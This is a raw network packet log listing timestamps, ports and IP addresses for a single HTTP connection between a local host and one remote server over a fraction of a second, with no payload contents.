Oct 2, 2024 17:17:09.840532064 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840536118 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840545893 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840549946 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840555906 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840567112 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840570927 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840576887 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840586901 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840589046 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840598106 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840604067 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840607882 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840617895 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840621948 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840629101 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840642929 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840642929 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.840660095 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.840691090 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841360092 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841372013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841382027 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841392040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841401100 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841407061 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841411114 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841420889 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841435909 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841438055 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841445923 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841451883 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841455936 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841463089 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841465950 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841475010 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841484070 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841486931 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841494083 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841504097 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841514111 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841520071 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841522932 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841536045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841536045 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841547012 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841552019 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841557980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841567039 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841571093 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841577053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841587067 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841595888 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841600895 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841607094 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.841620922 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.841641903 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.842168093 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.842179060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.842189074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.842199087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.842202902 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.842209101 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.842223883 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.842253923 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925029993 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925050974 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925062895 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925075054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925087929 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925098896 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925110102 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925139904 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925201893 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925213099 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925223112 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925234079 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925234079 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925245047 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925266981 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925293922 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925363064 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925373077 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925384998 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925394058 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925395012 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925407887 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925410986 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925422907 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925450087 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925602913 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925612926 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925622940 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925633907 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925643921 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925652981 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925657034 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925664902 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925674915 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925678015 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925685883 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925693989 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925695896 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925708055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925724983 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925755978 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.925904989 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925915003 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.925925970 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926045895 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926054001 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926055908 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926065922 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926081896 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926084995 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926093102 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926095009 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926103115 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926114082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926122904 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926126003 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926134109 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926146030 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926148891 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926156998 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926167965 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926172018 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926183939 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926211119 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926630020 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926640034 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926650047 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926661015 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926671028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926681042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926682949 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926691055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926702023 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926704884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926712990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926723003 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926733017 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926739931 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926743984 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926754951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926759005 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926765919 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926772118 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926775932 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926789045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.926790953 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926811934 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.926834106 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927047014 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927057981 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927067995 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927097082 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927126884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927181005 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927191973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927201986 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927212000 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927220106 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927222967 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927233934 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927246094 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927251101 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927256107 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927274942 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927297115 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927320004 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927330971 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927341938 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927351952 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927360058 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927362919 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927375078 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927377939 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927392960 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927398920 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927405119 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927416086 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927421093 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927427053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927438021 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927444935 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927457094 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.927469969 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.927500963 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928088903 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928101063 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928111076 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928121090 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928132057 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928141117 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928148985 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928152084 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928168058 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928170919 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928178072 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928188086 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928198099 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928205013 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928208113 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928219080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928222895 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928225040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928235054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928240061 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928245068 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928256989 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928267002 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928267956 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928272963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928286076 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928296089 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928306103 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928311110 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928318024 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928322077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928328991 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.928348064 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928374052 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.928992033 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929003954 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929013014 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929023027 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929033041 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929043055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929053068 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929053068 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.929063082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929069996 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.929073095 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929083109 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929092884 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929102898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929112911 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:09.929121017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.929125071 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.929143906 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:09.929183960 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012378931 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012402058 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012413979 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012423992 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012434006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012439966 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012444973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012456894 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012465000 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012499094 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012530088 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012541056 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012552023 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012562037 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012573957 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012588978 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012614965 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012623072 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012634039 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012645006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012655020 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012666941 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012670040 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012691975 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.012974977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012985945 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.012995958 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013006926 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013016939 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013020992 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013027906 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013037920 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013041019 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013048887 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013052940 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013072014 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013104916 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013264894 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013273954 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013284922 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013294935 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013304949 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013305902 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013314962 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013324976 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013330936 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013334990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013350964 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013354063 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013360977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013364077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013370991 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013381004 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013392925 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013394117 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013402939 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013411045 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013415098 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013432026 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013448954 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013922930 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013937950 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013947964 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013957977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013959885 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013967991 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013978004 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013979912 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.013988018 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.013998032 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014003992 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014008999 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014019012 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014024019 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014029980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014039040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014045000 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014049053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014060020 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014060020 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014070034 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014080048 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014085054 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014091015 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014101028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014107943 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014111042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014126062 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014127016 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014142990 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014172077 CEST	65263	80	192.168.2.6	147.45.44.104
